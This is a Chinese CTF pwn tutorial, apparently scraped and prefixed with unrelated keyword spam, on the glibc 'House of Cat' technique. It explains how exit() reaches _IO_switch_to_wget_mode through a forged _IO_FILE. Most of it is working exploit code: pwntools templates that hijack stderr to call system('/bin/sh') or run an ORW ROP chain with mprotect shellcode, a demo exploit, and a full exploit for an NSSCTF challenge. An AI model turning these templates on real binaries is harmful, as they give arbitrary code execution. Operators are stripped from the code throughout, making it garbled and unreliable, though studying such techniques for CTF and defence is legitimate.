wordpress站内信插件,北京确诊病例最新消息,河北移动端网站建设,wordpress文章分类页面Index 序言利用 FSOP 调用 House of Cat利用条件伪造IO流条件完整调用链分析 模板System (one_gadget) 模板ORW模板 Demo Exp利用 __malloc_assert 调用 House of Cat例题#xff1a;题目思路Exp 序言
原文章#xff1a;深入理解 House of Cat
随着 GNU 持续不断的更… Index 序言利用 FSOP 调用 House of Cat利用条件伪造IO流条件完整调用链分析 模板System (one_gadget) 模板ORW模板 Demo Exp利用 __malloc_assert 调用 House of Cat例题题目思路Exp 序言
原文章深入理解 House of Cat
随着 GNU 持续不断的更新在 Glibc 2.34__free_hook 以及 __malloc_hook 和其他一系列 hook 函数全部被移除意味着如果题目开了 Full RELRO我们几乎无从下手…
事实上我们还有 _IO_FILE 结构体可以进行利用。但是随着 GNU 的更新_IO_FILE 结构体的利用方式也逐渐开始被封杀。本篇文章会深入分析一种 _IO_FILE 的利用方式 — House of Cat。
House of Cat 可以在任意版本利用但是三种触发方式有一种从高版本被移出Libc _malloc_assert 在 Glibc 2.35 之后被移除目前只剩下一种利用方式仍然可以打任意版本FSOP。
利用 FSOP 调用 House of Cat
FSOP全称 File Stream Oriented Programming是一种通过伪造 _IO_FILE 结构体来实现的攻击FSOP的完整调用链如下仅包含关键函数
exit() -- __run_exit_handlers -- _IO_cleanup -- _IO_flush_all_lockp -- _IO_wfile_seekoff -- _IO_switch_to_wget_mode -- _IO_switch_to_wget_mode 的 call rax。
利用条件 能够写一个可控地址 能够泄露堆地址以及Libc基址 能够触发IO流FSOP__malloc_assert
伪造IO流条件 _IO_save_base 0 _IO_write_ptr _IO_write_base mode 0 (mode 1)
完整调用链分析
exit() 函数会调用 __run_exit_handlers 进行收尾工作在处理 _IO_FILE 结构体时会调用 _IO_cleanup 函数。 而 _IO_cleanup 函数的内部又调用了 _IO_flush_all_lockp 函数。_IO_flush_all_lockp 函数会刷新链表 _IO_list_all 中的所有项。相当于为每个 _IO_FILE 结构体调用 fflush 同时也调用了 _IO_FILE_plus.vtable 中的 _IO_overflow 。 _IO_OVERFLOW 实际上是一个宏定义函数展开如下
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)-FUNC) (THIS, X1)
#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
实际上调用 _IO_OVERFLOW 宏就是先调用 JUMP1 宏先调用 _IO_JUMPS_FUNC 宏_IO_JUMPS_FUNC 会先调用 IO_validate_vtable 函数来检测一遍对应虚函数的偏移是否位于一个合理区间如果不合理会直接抛出致命错误然后退出程序。 通过劫持 vtable 指向的函数到我们所需的特定函数 _IO_wfile_seekoff 我们得以进行利用。
为什么一定要是 _IO_wfile_seekoff 呢在上文我们调用 _IO_flush_all_lockp 时存在这么几个条件令我们得以成功调用 _IO_OVERFLOW 宏。 也就是 _IO_FILE 结构体的 mode 必须大于0 _wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_base vtable 的偏移必须为0
这三个条件都是可以达成的我们可以通过伪造 _IO_FILE 结构体实现再看看 _IO_wfile_seekoff 函数。 眼熟吗_wide_data 指向的 _IO_FILE 结构体的 _IO_write_ptr 必须大于 _IO_write_basemode 大于0。刚好全部满足。
我们伪造的条件会使得我们进入最底下的语句。 if (was_writing _IO_switch_to_wget_mode (fp))return WEOF;我们来查看 _IO_switch_to_wget_mode 做了什么事。 然后劫持 _IO_WOVERFLOW 的地址我们就可以做到直接GetShell或者ORW。 _IO_switch_to_wget_mode 中存在这么几条汇编代码
_IO_switch_to_wget_mode4 mov rax, qword ptr [rdi 0xa0]
_IO_switch_to_wget_mode15 mov rdx, qword ptr [rax 0x20]
_IO_switch_to_wget_mode25 mov rax, qword ptr [rax 0xe0]_IO_switch_to_wget_mode37 call qword ptr [rax 0x18]而 _IO_switch_to_wget_mode 的RDI寄存器刚好是我们的 _IO_FILE 结构体的地址。 那么利用链就很清晰了
exit() -- __run_exit_handlers -- _IO_cleanup -- _IO_flush_all_lockp -- _IO_wfile_seekoff -- _IO_switch_to_wget_mode -- _IO_switch_to_wget_mode 的 call rax。
我们只需要构造覆写_IO_FILE 结构体即可完成利用。
模板
Pwntools 自带的 FileStrcture 不带 _mode无法拿来写模板。
这里使用的是 RoderickChan 师傅的 pwncli 库中的 IO_FILE_plus_struct 类我把这个类提取出来放到自己的库里了。
System (one_gadget) 模板
fake_io_addr libc_base libc.sym[_IO_2_1_stderr_] # 伪造的fake_IO结构体的地址Fake_IO_File_Structure IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags b/bin/sh\x00
Fake_IO_File_Structure._IO_save_base p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base p64(fake_io_addr 0x120 - 0xa0) # mov rdx, qword ptr [rax 0x20]
Fake_IO_File_Structure._IO_save_end p64(system) # call qword ptr [rax 0x18]
Fake_IO_File_Structure._wide_data p64(fake_io_addr 0x30) # mov rax, qword ptr [rdi 0xa0]
Fake_IO_File_Structure._offset 0
Fake_IO_File_Structure._vtable_offset 0
Fake_IO_File_Structure._mode 1
Fake_IO_File_Structure.vtable p64(libc_base libc.sym[_IO_wfile_jumps] 0x30)Fake_IO_File_Structure bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure p64(0) * 6
Fake_IO_File_Structure p64(fake_io_addr 0x40) # mov rax, qword ptr [rax 0xe0]ORW模板
Fake_IO_File_Structure IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base p64(fake_io_addr 0x120 - 0xa0) # mov rdx, qword ptr [rax 0x20]
Fake_IO_File_Structure._IO_save_end p64(setcontext) # call qword ptr [rax 0x18]
Fake_IO_File_Structure._wide_data p64(fake_io_addr 0x30) # mov rax, qword ptr [rdi 0xa0]
Fake_IO_File_Structure._offset 0
Fake_IO_File_Structure._vtable_offset 0
Fake_IO_File_Structure._mode 1
Fake_IO_File_Structure.vtable p64(libc_base libc.sym[_IO_wfile_jumps] 0x30)Fake_IO_File_Structure bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure p64(0) * 6
Fake_IO_File_Structure p64(fake_io_addr 0x40) # mov rax, qword ptr [rax 0xe0]
Fake_IO_File_Structure Fake_IO_File_Structure.ljust(0x120, b\x00) p64(fake_io_addr 0x128) p64(ret)
rop p64(rdi) p64((fake_io_addr 12) 12) p64(rsi) p64(0x1000) p64(rdx_r12) p64(7) * 2 p64(mprotect) p64(fake_io_addr 0x178) asm(shellcraft.cat(/flag))Fake_IO_File_Structure rop为什么需要设置 _IO_save_base 为1
在 _IO_flush_all_lockp 函数中有这2句代码
_IO_flush_all_lockp183 mov rcx, qword ptr [rax 0x18] RCX, [_IO_2_1_stderr_72] 1
_IO_flush_all_lockp187 cmp qword ptr [rax 0x20], rcx 0x7f93da3c4720 - 0x1 EFLAGS 0x212 [ cf pf AF zf sf IF df of ]这里会调用 _IO_2_1_stderr72 也就是 _IO_save_base 的内容并赋值给RCX寄存器。
在下文中如果RCX寄存器为0就会跳转到另一端代码执行
_IO_wfile_seekoff48 test ecx, ecx 1 1 EFLAGS 0x202 [ cf pf af zf sf IF df of ]
_IO_wfile_seekoff50 je _IO_wfile_seekoff1080 _IO_wfile_seekoff1080_IO_wfile_seekoff1080 cmp qword ptr [rax 0x30], 0 0 - 0 EFLAGS 0x246 [ cf PF af ZF sf IF df of ]
_IO_wfile_seekoff1085 ✔ je _IO_wfile_seekoff1504 _IO_wfile_seekoff1504这里上面两句对应的是 if (mode 0)return do_ftell_wide (fp);可以从汇编看出来 当RCX为0时程序进入了这段 if 语句。执行了 do_ftell_wide 函数如果进入了 do_ftell_wide 则不会执行我们想要劫持到的函数 _IO_switch_to_wget_mode 。
想劫持到哪就直接替换 _IO_save_end 指向的内容即可。
Demo Exp
Libc:
#include stdio.hint main()
{puts(Gift);printf(Address of puts: %p\n, (void*)puts);puts(Address showed.);read(0, (void*)stderr, 0x1000);return 0;
}from PwnModules import *io, elf get_utils(./demo.out, True, node5.anna.nssctf.cn, 23749)
init_env()
libc ELF(/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6)io.recvuntil(bputs: )
libc_base recv_int_addr(io, 14) - libc.sym[puts]
show_addr(Addr: , libc_base)ret libc_base 0x29cd6
rdi libc_base 0x2a3e5
rsi libc_base 0x2be51
rdx_r12 libc_base 0x11f497
mprotect libc_base libc.sym[mprotect]
setcontext libc_base libc.sym[setcontext] 61
system libc_base libc.sym[system]
binsh libc_base next(libc.search(b/bin/sh))fake_io_addr libc_base libc.sym[_IO_2_1_stderr_] # 伪造的fake_IO结构体的地址# ORW 就取消掉 setcontext 等的注释即可。Fake_IO_File_Structure IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure.flags b/bin/sh\x00
Fake_IO_File_Structure._IO_save_base p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base p64(fake_io_addr 0x120 - 0xa0) # mov rdx, qword ptr [rax 0x20]
Fake_IO_File_Structure._IO_save_end p64(system) # p64(setcontext) # call qword ptr [rax 0x18]
Fake_IO_File_Structure._wide_data p64(fake_io_addr 0x30) # mov rax, qword ptr [rdi 0xa0]
Fake_IO_File_Structure._offset 0
Fake_IO_File_Structure._vtable_offset 0
Fake_IO_File_Structure._mode 1
Fake_IO_File_Structure.vtable p64(libc_base libc.sym[_IO_wfile_jumps] 0x30)Fake_IO_File_Structure bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure p64(0) * 6
Fake_IO_File_Structure p64(fake_io_addr 0x40) # mov rax, qword ptr [rax 0xe0]
Fake_IO_File_Structure Fake_IO_File_Structure.ljust(0x120, b\x00) # p64(fake_io_addr 0x128) p64(ret)
# rop p64(rdi) p64((fake_io_addr 12) 12) p64(rsi) p64(0x1000) p64(rdx_r12) p64(7) * 2 p64(mprotect) p64(fake_io_addr 0x178) asm(shellcraft.cat(/flag))# Fake_IO_File_Structure ropshow_addr(_IO_2_1_stderr_: , fake_io_addr)
show_addr(_IO_2_1_stdout_, libc_base libc.sym[_IO_2_1_stdout_])io.send(Fake_IO_File_Structure)io.interactive()利用 __malloc_assert 调用 House of Cat
调用方式变成直接攻击 Top Chunk 即可。
满足以下三个条件之一即可触发 __malloc_assert
Top Chunk 的大小小于 MINSIZE(0x20)
Prev Inuse 位为0
Old_Top 页未对齐
例题
题目
[NSSRound#14 Basic]Girlfriends’ notebooks
思路
使用 House of Orange 的思路伪造 Top Chunk 的 size释放旧 Top Chunk泄露Libc基址
然后打 House of Cat 使用 ORW 输出 Flag。
Exp
from PwnModules import *io, elf get_utils(./Girlfriendsnotebooks, True, node5.anna.nssctf.cn, 23749)
init_env()
libc ELF(/home/kaguya/PwnExp/Libc/NSS/2.35/libc.so.6)def add(idx, size, data):io.sendlineafter(b: , b1)io.sendlineafter(b: , str(idx))io.sendlineafter(b: , str(size))io.sendafter(b: , data)def show(idx):io.sendlineafter(b: , b2)io.sendlineafter(b: , str(idx))def edit(idx, data):io.sendlineafter(b: , b4)io.sendlineafter(b: , str(idx))io.sendafter(b: , data)add(4, 0x108, p64(0) * 33 p64(0xf51))
add(5, 0x1000, ba * 8)
add(6, 0xf00, ba * 8)
show(6)libc_base leak_addr(2, io) - 0x21a2f0
show_addr(Addr: , libc_base)ret libc_base 0x29cd6
rdi libc_base 0x2a3e5
rsi libc_base 0x2be51
rdx_r12 libc_base 0x11f497
mprotect libc_base libc.sym[mprotect]
setcontext libc_base libc.sym[setcontext] 61fake_io_addr libc_base libc.sym[_IO_2_1_stderr_] # 伪造的fake_IO结构体的地址
Fake_IO_File_Structure IO_FILE_plus_struct(fake_io_addr)
Fake_IO_File_Structure._IO_save_base p64(1) # RCX
Fake_IO_File_Structure._IO_backup_base p64(fake_io_addr 0x120 - 0xa0) # mov rdx, qword ptr [rax 0x20]
Fake_IO_File_Structure._IO_save_end p64(setcontext) # call qword ptr [rax 0x18]
Fake_IO_File_Structure._wide_data p64(fake_io_addr 0x30) # mov rax, qword ptr [rdi 0xa0]
Fake_IO_File_Structure._offset 0
Fake_IO_File_Structure._vtable_offset 0
Fake_IO_File_Structure._mode 1
Fake_IO_File_Structure.vtable p64(libc_base libc.sym[_IO_wfile_jumps] 0x30)Fake_IO_File_Structure bytes(Fake_IO_File_Structure)
Fake_IO_File_Structure p64(0) * 6
Fake_IO_File_Structure p64(fake_io_addr 0x40) # mov rax, qword ptr [rax 0xe0]
Fake_IO_File_Structure Fake_IO_File_Structure.ljust(0x120, b\x00) p64(fake_io_addr 0x128) p64(ret)rop p64(rdi) p64((fake_io_addr 12) 12) p64(rsi) p64(0x1000) p64(rdx_r12) p64(7) * 2 p64(mprotect) p64(fake_io_addr 0x178) asm(shellcraft.cat(/flag))Fake_IO_File_Structure ropshow_addr(Addr: , fake_io_addr)# debug(io)
edit(-4, Fake_IO_File_Structure)io.interactive()